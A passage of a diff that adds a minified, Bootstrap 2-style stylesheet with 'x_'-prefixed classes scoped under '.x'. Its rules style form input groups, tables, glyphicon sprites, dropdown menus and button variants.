.x_input-prepend.x_input-append .x_uneditable-input+.x_btn-group .x_btn{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-prepend.x_input-append .x_add-on:first-child, +.x .x_input-prepend.x_input-append .x_btn:first-child{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_input-prepend.x_input-append .x_add-on:last-child, +.x .x_input-prepend.x_input-append .x_btn:last-child{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-prepend.x_input-append .x_btn-group:first-child{margin-left:0} +.x input.x_search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9; /* IE7-8 doesn't have border-radius, so don't indent the padding */ margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px} +/* Allow for input prepend/append in search forms */ +.x .x_form-search .x_input-append .x_search-query, +.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_form-search .x_input-append .x_search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px} +.x .x_form-search .x_input-append .x_btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0} +.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0} +.x .x_form-search .x_input-prepend .x_btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px} +.x .x_form-search input, +.x .x_form-inline input, +.x .x_form-horizontal input, +.x .x_form-search textarea, +.x .x_form-inline textarea, +.x .x_form-horizontal textarea, +.x .x_form-search select, +.x .x_form-inline select, +.x .x_form-horizontal select, +.x .x_form-search .x_help-inline, +.x .x_form-inline .x_help-inline, +.x .x_form-horizontal .x_help-inline, +.x .x_form-search .x_uneditable-input, +.x .x_form-inline .x_uneditable-input, +.x .x_form-horizontal .x_uneditable-input, +.x .x_form-search .x_input-prepend, +.x .x_form-inline .x_input-prepend, +.x .x_form-horizontal .x_input-prepend, +.x .x_form-search .x_input-append, +.x .x_form-inline .x_input-append, +.x .x_form-horizontal .x_input-append{display:inline-block;*display:inline;margin-bottom:0;vertical-align:middle;*zoom:1} +.x .x_form-search .x_hide, +.x .x_form-inline .x_hide, +.x .x_form-horizontal .x_hide{display:none} +.x .x_form-search label, +.x .x_form-inline label, +.x .x_form-search .x_btn-group, +.x .x_form-inline .x_btn-group{display:inline-block} +.x .x_form-search .x_input-append, +.x .x_form-inline .x_input-append, +.x .x_form-search .x_input-prepend, +.x .x_form-inline .x_input-prepend{margin-bottom:0} +.x .x_form-search .x_radio, +.x .x_form-search .x_checkbox, +.x .x_form-inline .x_radio, +.x .x_form-inline .x_checkbox{padding-left:0;margin-bottom:0;vertical-align:middle} +.x .x_form-search .x_radio input[type="radio"], +.x .x_form-search .x_checkbox input[type="checkbox"], +.x .x_form-inline .x_radio input[type="radio"], +.x .x_form-inline .x_checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0} +.x .x_control-group{margin-bottom:10px} +.x legend+.x_control-group{margin-top:20px;-webkit-margin-top-collapse:separate} +.x .x_form-horizontal .x_control-group{margin-bottom:20px;*zoom:1} +.x .x_form-horizontal .x_control-group:before, +.x .x_form-horizontal .x_control-group:after{display:table;line-height:0;content:""} +.x .x_form-horizontal .x_control-group:after{clear:both} +.x .x_form-horizontal .x_control-label{float:left;width:160px;padding-top:5px;text-align:right} +.x .x_form-horizontal .x_controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0} +.x .x_form-horizontal .x_controls:first-child{*padding-left:180px} +.x .x_form-horizontal .x_help-block{margin-bottom:0} +.x .x_form-horizontal input+.x_help-block, +.x .x_form-horizontal select+.x_help-block, +.x .x_form-horizontal textarea+.x_help-block, +.x .x_form-horizontal .x_uneditable-input+.x_help-block, +.x .x_form-horizontal .x_input-prepend+.x_help-block, +.x .x_form-horizontal .x_input-append+.x_help-block{margin-top:10px} +.x .x_form-horizontal .x_form-actions{padding-left:180px} +.x table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0} +.x .x_table{width:100%;margin-bottom:20px} +.x .x_table th, +.x .x_table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #dddddd} +.x .x_table th{font-weight:bold} +.x .x_table thead th{vertical-align:bottom} +.x .x_table caption+thead tr:first-child th, +.x .x_table caption+thead tr:first-child td, +.x .x_table colgroup+thead tr:first-child th, +.x .x_table colgroup+thead tr:first-child td, +.x .x_table thead:first-child tr:first-child th, +.x .x_table thead:first-child tr:first-child td{border-top:0} +.x .x_table tbody+tbody{border-top:2px solid #dddddd} +.x .x_table .x_table{background-color:#ffffff} +.x .x_table-condensed th, +.x .x_table-condensed td{padding:4px 5px} +.x .x_table-bordered{border:1px solid #dddddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_table-bordered th, +.x .x_table-bordered td{border-left:1px solid #dddddd} +.x .x_table-bordered caption+thead tr:first-child th, +.x .x_table-bordered caption+tbody tr:first-child th, +.x .x_table-bordered caption+tbody tr:first-child td, +.x .x_table-bordered colgroup+thead tr:first-child th, +.x .x_table-bordered colgroup+tbody tr:first-child th, +.x .x_table-bordered colgroup+tbody tr:first-child td, +.x .x_table-bordered thead:first-child tr:first-child th, +.x .x_table-bordered tbody:first-child tr:first-child th, +.x .x_table-bordered tbody:first-child tr:first-child td{border-top:0} +.x .x_table-bordered thead:first-child tr:first-child>th:first-child, +.x .x_table-bordered tbody:first-child tr:first-child>td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px} +.x .x_table-bordered thead:first-child tr:first-child>th:last-child, +.x .x_table-bordered tbody:first-child tr:first-child>td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px} +.x .x_table-bordered thead:last-child tr:last-child>th:first-child, +.x .x_table-bordered tbody:last-child tr:last-child>td:first-child, +.x .x_table-bordered tfoot:last-child tr:last-child>td:first-child{-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px} +.x .x_table-bordered thead:last-child tr:last-child>th:last-child, +.x .x_table-bordered tbody:last-child tr:last-child>td:last-child, +.x .x_table-bordered tfoot:last-child tr:last-child>td:last-child{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px} +.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:first-child{-webkit-border-bottom-left-radius:0;border-bottom-left-radius:0;-moz-border-radius-bottomleft:0} +.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:0;border-bottom-right-radius:0;-moz-border-radius-bottomright:0} +.x .x_table-bordered caption+thead tr:first-child th:first-child, +.x .x_table-bordered caption+tbody tr:first-child td:first-child, +.x .x_table-bordered colgroup+thead tr:first-child th:first-child, +.x .x_table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px} +.x .x_table-bordered caption+thead tr:first-child th:last-child, +.x .x_table-bordered caption+tbody tr:first-child td:last-child, +.x .x_table-bordered colgroup+thead tr:first-child th:last-child, +.x .x_table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px} +.x .x_table-striped tbody>tr:nth-child(odd)>td, +.x .x_table-striped tbody>tr:nth-child(odd)>th{background-color:#f9f9f9} +.x .x_table-hover tbody tr:hover td, +.x .x_table-hover tbody tr:hover th{background-color:#f5f5f5} +.x table td[class*="x_span"], +.x table th[class*="x_span"], +.x .x_row-fluid table td[class*="x_span"], +.x .x_row-fluid table th[class*="x_span"]{display:table-cell;float:none;margin-left:0} +.x .x_table td.x_span1, +.x .x_table th.x_span1{float:none;width:44px;margin-left:0} +.x .x_table td.x_span2, +.x .x_table th.x_span2{float:none;width:124px;margin-left:0} +.x .x_table td.x_span3, +.x .x_table th.x_span3{float:none;width:204px;margin-left:0} +.x .x_table td.x_span4, +.x .x_table th.x_span4{float:none;width:284px;margin-left:0} +.x .x_table td.x_span5, +.x .x_table th.x_span5{float:none;width:364px;margin-left:0} +.x .x_table td.x_span6, +.x .x_table th.x_span6{float:none;width:444px;margin-left:0} +.x .x_table td.x_span7, +.x .x_table th.x_span7{float:none;width:524px;margin-left:0} +.x .x_table td.x_span8, +.x .x_table th.x_span8{float:none;width:604px;margin-left:0} +.x .x_table td.x_span9, +.x .x_table th.x_span9{float:none;width:684px;margin-left:0} +.x .x_table td.x_span10, +.x .x_table th.x_span10{float:none;width:764px;margin-left:0} +.x .x_table td.x_span11, +.x .x_table th.x_span11{float:none;width:844px;margin-left:0} +.x .x_table td.x_span12, +.x .x_table th.x_span12{float:none;width:924px;margin-left:0} +.x .x_table tbody tr.x_success td{background-color:#dff0d8} +.x .x_table tbody tr.x_error td{background-color:#f2dede} +.x .x_table tbody tr.x_warning td{background-color:#fcf8e3} +.x .x_table tbody tr.x_info td{background-color:#d9edf7} +.x .x_table-hover tbody tr.x_success:hover td{background-color:#d0e9c6} +.x .x_table-hover tbody tr.x_error:hover td{background-color:#ebcccc} +.x .x_table-hover tbody tr.x_warning:hover td{background-color:#faf2cc} +.x .x_table-hover tbody tr.x_info:hover td{background-color:#c4e3f3} +.x [class^="x_icon-"], +.x [class*=" x_icon-"]{display:inline-block;width:14px;height:14px;margin-top:1px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat} +/* White icons with optional class, or on hover/active states of certain elements */ +.x .x_icon-white, +.x .x_nav-pills>.x_active>a>[class^="x_icon-"], +.x .x_nav-pills>.x_active>a>[class*=" x_icon-"], +.x .x_nav-list>.x_active>a>[class^="x_icon-"], +.x .x_nav-list>.x_active>a>[class*=" x_icon-"], +.x .x_navbar-inverse .x_nav>.x_active>a>[class^="x_icon-"], +.x .x_navbar-inverse .x_nav>.x_active>a>[class*=" x_icon-"], +.x .x_dropdown-menu>li>a:hover>[class^="x_icon-"], +.x .x_dropdown-menu>li>a:hover>[class*=" x_icon-"], +.x .x_dropdown-menu>.x_active>a>[class^="x_icon-"], +.x .x_dropdown-menu>.x_active>a>[class*=" x_icon-"], +.x .x_dropdown-submenu:hover>a>[class^="x_icon-"], +.x .x_dropdown-submenu:hover>a>[class*=" x_icon-"]{background-image:url("../img/glyphicons-halflings-white.png")} +.x .x_icon-glass{background-position:0 0} +.x .x_icon-music{background-position:-24px 0} +.x .x_icon-search{background-position:-48px 0} +.x .x_icon-envelope{background-position:-72px 0} +.x .x_icon-heart{background-position:-96px 0} +.x .x_icon-star{background-position:-120px 0} +.x .x_icon-star-empty{background-position:-144px 0} +.x .x_icon-user{background-position:-168px 0} +.x .x_icon-film{background-position:-192px 0} +.x .x_icon-th-large{background-position:-216px 0} +.x .x_icon-th{background-position:-240px 0} +.x .x_icon-th-list{background-position:-264px 0} +.x .x_icon-ok{background-position:-288px 0} +.x .x_icon-remove{background-position:-312px 0} +.x .x_icon-zoom-in{background-position:-336px 0} +.x .x_icon-zoom-out{background-position:-360px 0} +.x .x_icon-off{background-position:-384px 0} +.x .x_icon-signal{background-position:-408px 0} +.x .x_icon-cog{background-position:-432px 0} +.x .x_icon-trash{background-position:-456px 0} +.x .x_icon-home{background-position:0 -24px} +.x .x_icon-file{background-position:-24px -24px} +.x .x_icon-time{background-position:-48px -24px} +.x .x_icon-road{background-position:-72px -24px} +.x .x_icon-download-alt{background-position:-96px -24px} +.x .x_icon-download{background-position:-120px -24px} +.x .x_icon-upload{background-position:-144px -24px} +.x .x_icon-inbox{background-position:-168px -24px} +.x .x_icon-play-circle{background-position:-192px -24px} +.x .x_icon-repeat{background-position:-216px -24px} +.x .x_icon-refresh{background-position:-240px -24px} +.x .x_icon-list-alt{background-position:-264px -24px} +.x .x_icon-lock{background-position:-287px -24px} +.x .x_icon-flag{background-position:-312px -24px} +.x .x_icon-headphones{background-position:-336px -24px} +.x .x_icon-volume-off{background-position:-360px -24px} +.x .x_icon-volume-down{background-position:-384px -24px} +.x .x_icon-volume-up{background-position:-408px -24px} +.x .x_icon-qrcode{background-position:-432px -24px} +.x .x_icon-barcode{background-position:-456px -24px} +.x .x_icon-tag{background-position:0 -48px} +.x .x_icon-tags{background-position:-25px -48px} +.x .x_icon-book{background-position:-48px -48px} +.x .x_icon-bookmark{background-position:-72px -48px} +.x .x_icon-print{background-position:-96px -48px} +.x .x_icon-camera{background-position:-120px -48px} +.x .x_icon-font{background-position:-144px -48px} +.x .x_icon-bold{background-position:-167px -48px} +.x .x_icon-italic{background-position:-192px -48px} +.x .x_icon-text-height{background-position:-216px -48px} +.x .x_icon-text-width{background-position:-240px -48px} +.x .x_icon-align-left{background-position:-264px -48px} +.x .x_icon-align-center{background-position:-288px -48px} +.x .x_icon-align-right{background-position:-312px -48px} +.x .x_icon-align-justify{background-position:-336px -48px} +.x .x_icon-list{background-position:-360px -48px} +.x .x_icon-indent-left{background-position:-384px -48px} +.x .x_icon-indent-right{background-position:-408px -48px} +.x .x_icon-facetime-video{background-position:-432px -48px} +.x .x_icon-picture{background-position:-456px -48px} +.x .x_icon-pencil{background-position:0 -72px} +.x .x_icon-map-marker{background-position:-24px -72px} +.x .x_icon-adjust{background-position:-48px -72px} +.x .x_icon-tint{background-position:-72px -72px} +.x .x_icon-edit{background-position:-96px -72px} +.x .x_icon-share{background-position:-120px -72px} +.x .x_icon-check{background-position:-144px -72px} +.x .x_icon-move{background-position:-168px -72px} +.x .x_icon-step-backward{background-position:-192px -72px} +.x .x_icon-fast-backward{background-position:-216px -72px} +.x .x_icon-backward{background-position:-240px -72px} +.x .x_icon-play{background-position:-264px -72px} +.x .x_icon-pause{background-position:-288px -72px} +.x .x_icon-stop{background-position:-312px -72px} +.x .x_icon-forward{background-position:-336px -72px} +.x .x_icon-fast-forward{background-position:-360px -72px} +.x .x_icon-step-forward{background-position:-384px -72px} +.x .x_icon-eject{background-position:-408px -72px} +.x .x_icon-chevron-left{background-position:-432px -72px} +.x .x_icon-chevron-right{background-position:-456px -72px} +.x .x_icon-plus-sign{background-position:0 -96px} +.x .x_icon-minus-sign{background-position:-24px -96px} +.x .x_icon-remove-sign{background-position:-48px -96px} +.x .x_icon-ok-sign{background-position:-72px -96px} +.x .x_icon-question-sign{background-position:-96px -96px} +.x .x_icon-info-sign{background-position:-120px -96px} +.x .x_icon-screenshot{background-position:-144px -96px} +.x .x_icon-remove-circle{background-position:-168px -96px} +.x .x_icon-ok-circle{background-position:-192px -96px} +.x .x_icon-ban-circle{background-position:-216px -96px} +.x .x_icon-arrow-left{background-position:-240px -96px} +.x .x_icon-arrow-right{background-position:-264px -96px} +.x .x_icon-arrow-up{background-position:-289px -96px} +.x .x_icon-arrow-down{background-position:-312px -96px} +.x .x_icon-share-alt{background-position:-336px -96px} +.x .x_icon-resize-full{background-position:-360px -96px} +.x .x_icon-resize-small{background-position:-384px -96px} +.x .x_icon-plus{background-position:-408px -96px} +.x .x_icon-minus{background-position:-433px -96px} +.x .x_icon-asterisk{background-position:-456px -96px} +.x .x_icon-exclamation-sign{background-position:0 -120px} +.x .x_icon-gift{background-position:-24px -120px} +.x .x_icon-leaf{background-position:-48px -120px} +.x .x_icon-fire{background-position:-72px -120px} +.x .x_icon-eye-open{background-position:-96px -120px} +.x .x_icon-eye-close{background-position:-120px -120px} +.x .x_icon-warning-sign{background-position:-144px -120px} +.x .x_icon-plane{background-position:-168px -120px} +.x .x_icon-calendar{background-position:-192px -120px} +.x .x_icon-random{width:16px;background-position:-216px -120px} +.x .x_icon-comment{background-position:-240px -120px} +.x .x_icon-magnet{background-position:-264px -120px} +.x .x_icon-chevron-up{background-position:-288px -120px} +.x .x_icon-chevron-down{background-position:-313px -119px} +.x .x_icon-retweet{background-position:-336px -120px} +.x .x_icon-shopping-cart{background-position:-360px -120px} +.x .x_icon-folder-close{background-position:-384px -120px} +.x .x_icon-folder-open{width:16px;background-position:-408px -120px} +.x .x_icon-resize-vertical{background-position:-432px -119px} +.x .x_icon-resize-horizontal{background-position:-456px -118px} +.x .x_icon-hdd{background-position:0 -144px} +.x .x_icon-bullhorn{background-position:-24px -144px} +.x .x_icon-bell{background-position:-48px -144px} +.x .x_icon-certificate{background-position:-72px -144px} +.x .x_icon-thumbs-up{background-position:-96px -144px} +.x .x_icon-thumbs-down{background-position:-120px -144px} +.x .x_icon-hand-right{background-position:-144px -144px} +.x .x_icon-hand-left{background-position:-168px -144px} +.x .x_icon-hand-up{background-position:-192px -144px} +.x .x_icon-hand-down{background-position:-216px -144px} +.x .x_icon-circle-arrow-right{background-position:-240px -144px} +.x .x_icon-circle-arrow-left{background-position:-264px -144px} +.x .x_icon-circle-arrow-up{background-position:-288px -144px} +.x .x_icon-circle-arrow-down{background-position:-312px -144px} +.x .x_icon-globe{background-position:-336px -144px} +.x .x_icon-wrench{background-position:-360px -144px} +.x .x_icon-tasks{background-position:-384px -144px} +.x .x_icon-filter{background-position:-408px -144px} +.x .x_icon-briefcase{background-position:-432px -144px} +.x .x_icon-fullscreen{background-position:-456px -144px} +.x .x_dropup, +.x .x_dropdown{position:relative} +.x .x_dropdown-toggle{*margin-bottom:-3px} +.x .x_dropdown-toggle:active, +.x .x_open .x_dropdown-toggle{outline:0} +.x .x_caret{display:inline-block;width:0;height:0;vertical-align:top;border-top:4px solid #000000;border-right:4px solid transparent;border-left:4px solid transparent;content:""} +.x .x_dropdown .x_caret{margin-top:8px;margin-left:2px} +.x .x_dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;background-color:#ffffff;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box} +.x .x_dropdown-menu.x_pull-right{right:0;left:auto} +.x .x_dropdown-menu .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff} +.x .x_dropdown-menu li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:20px;color:#333333;white-space:nowrap} +.x .x_dropdown-menu li>a:hover, +.x .x_dropdown-menu li>a:focus, +.x .x_dropdown-submenu:hover>a{color:#ffffff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top, #0088cc, #0077b3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));background-image:-webkit-linear-gradient(top, #0088cc, #0077b3);background-image:-o-linear-gradient(top, #0088cc, #0077b3);background-image:linear-gradient(to bottom, #0088cc, #0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0077b3', GradientType=0)} +.x .x_dropdown-menu .x_active>a, +.x .x_dropdown-menu .x_active>a:hover{color:#ffffff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top, #0088cc, #0077b3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));background-image:-webkit-linear-gradient(top, #0088cc, #0077b3);background-image:-o-linear-gradient(top, #0088cc, #0077b3);background-image:linear-gradient(to bottom, #0088cc, #0077b3);background-repeat:repeat-x;outline:0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0077b3', GradientType=0)} +.x .x_dropdown-menu .x_disabled>a, +.x .x_dropdown-menu .x_disabled>a:hover{color:#999999} +.x .x_dropdown-menu .x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_open{*z-index:1000} +.x .x_open>.x_dropdown-menu{display:block} +.x .x_pull-right>.x_dropdown-menu{right:0;left:auto} +.x .x_dropup .x_caret, +.x .x_navbar-fixed-bottom .x_dropdown .x_caret{border-top:0;border-bottom:4px solid #000000;content:""} +.x .x_dropup .x_dropdown-menu, +.x .x_navbar-fixed-bottom .x_dropdown .x_dropdown-menu{top:auto;bottom:100%;margin-bottom:1px} +.x_dropdown-submenu{position:relative} +.x .x_dropdown-submenu>.x_dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px} +.x .x_dropdown-submenu:hover>.x_dropdown-menu{display:block} +.x .x_dropup .x_dropdown-submenu>.x_dropdown-menu{top:auto;bottom:0;margin-top:0;margin-bottom:-2px;-webkit-border-radius:5px 5px 5px 0;-moz-border-radius:5px 5px 5px 0;border-radius:5px 5px 5px 0} +.x .x_dropdown-submenu>a:after{display:block;float:right;width:0;height:0;margin-top:5px;margin-right:-10px;border-color:transparent;border-left-color:#cccccc;border-style:solid;border-width:5px 0 5px 5px;content:" "} +.x .x_dropdown-submenu:hover>a:after{border-left-color:#ffffff} +.x .x_dropdown-submenu.x_pull-left{float:none} +.x .x_dropdown-submenu.x_pull-left>.x_dropdown-menu{left:-100%;margin-left:10px;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px} +.x .x_dropdown .x_dropdown-menu .x_nav-header{padding-right:20px;padding-left:20px} +.x .x_typeahead{z-index:1051;margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05)} +.x .x_well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15)} +.x .x_well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_fade{opacity:0;-webkit-transition:opacity 0.15s linear;-moz-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear} +.x .x_fade.x_in{opacity:1} +.x .x_collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;-moz-transition:height 0.35s ease;-o-transition:height 0.35s ease;transition:height 0.35s ease} +.x .x_collapse.x_in{height:auto} +.x .x_close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000000;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20)} +.x .x_close:hover{color:#000000;text-decoration:none;cursor:pointer;opacity:0.4;filter:alpha(opacity=40)} +.x button.x_close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none} +.x .x_btn{display:inline-block;*display:inline;padding:4px 12px;margin-bottom:0;*margin-left:.3em;font-size:14px;line-height:20px;color:#333333;text-align:center;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);vertical-align:middle;cursor:pointer;background-color:#f5f5f5;*background-color:#e6e6e6;background-image:-moz-linear-gradient(top, #ffffff, #e6e6e6);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(top, #ffffff, #e6e6e6);background-image:-o-linear-gradient(top, #ffffff, #e6e6e6);background-image:linear-gradient(to bottom, #ffffff, #e6e6e6);background-repeat:repeat-x;border:1px solid #bbbbbb;*border:0;border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);*zoom:1;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn:hover, +.x .x_btn:active, +.x .x_btn.x_active, +.x .x_btn.x_disabled, +.x .x_btn[disabled]{color:#333333;background-color:#e6e6e6;*background-color:#d9d9d9} +.x .x_btn:active, +.x .x_btn.x_active{background-color:#cccccc \9} +.x .x_btn:first-child{*margin-left:0} +.x .x_btn:hover{color:#333333;text-decoration:none;background-position:0 -15px;-webkit-transition:background-position 0.1s linear;-moz-transition:background-position 0.1s linear;-o-transition:background-position 0.1s linear;transition:background-position 0.1s linear} +.x .x_btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px} +.x .x_btn.x_active, +.x .x_btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn.x_disabled, +.x .x_btn[disabled]{cursor:default;background-image:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none} +.x .x_btn-large{padding:11px 19px;font-size:17.5px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_btn-large [class^="x_icon-"], +.x .x_btn-large [class*=" x_icon-"]{margin-top:4px} +.x .x_btn-small{padding:2px 10px;font-size:11.9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_btn-small [class^="x_icon-"], +.x .x_btn-small [class*=" x_icon-"]{margin-top:0} +.x .x_btn-mini [class^="x_icon-"], +.x .x_btn-mini [class*=" x_icon-"]{margin-top:-1px} +.x .x_btn-mini{padding:0 6px;font-size:10.5px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_btn-block{display:block;width:100%;padding-right:0;padding-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} +.x .x_btn-block+.x_btn-block{margin-top:5px} +.x input[type="submit"].x_btn-block, +.x input[type="reset"].x_btn-block, +.x input[type="button"].x_btn-block{width:100%} +.x .x_btn-primary.x_active, +.x .x_btn-warning.x_active, +.x .x_btn-danger.x_active, +.x .x_btn-success.x_active, +.x .x_btn-info.x_active, +.x .x_btn-inverse.x_active{color:rgba(255, 255, 255, 0.75)} +.x .x_btn{border-color:#c5c5c5;border-color:rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.25)} +.x .x_btn-primary{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#006dcc;*background-color:#0044cc;background-image:-moz-linear-gradient(top, #0088cc, #0044cc);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));background-image:-webkit-linear-gradient(top, #0088cc, #0044cc);background-image:-o-linear-gradient(top, #0088cc, #0044cc);background-image:linear-gradient(to bottom, #0088cc, #0044cc);background-repeat:repeat-x;border-color:#0044cc #0044cc #002a80;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-primary:hover, +.x .x_btn-primary:active, +.x .x_btn-primary.x_active, +.x .x_btn-primary.x_disabled, +.x .x_btn-primary[disabled]{color:#ffffff;background-color:#0044cc;*background-color:#003bb3} +.x .x_btn-primary:active, +.x .x_btn-primary.x_active{background-color:#003399 \9} +.x .x_btn-warning{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#faa732;*background-color:#f89406;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;border-color:#f89406 #f89406 #ad6704;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-warning:hover, +.x .x_btn-warning:active, +.x .x_btn-warning.x_active, +.x .x_btn-warning.x_disabled, +.x 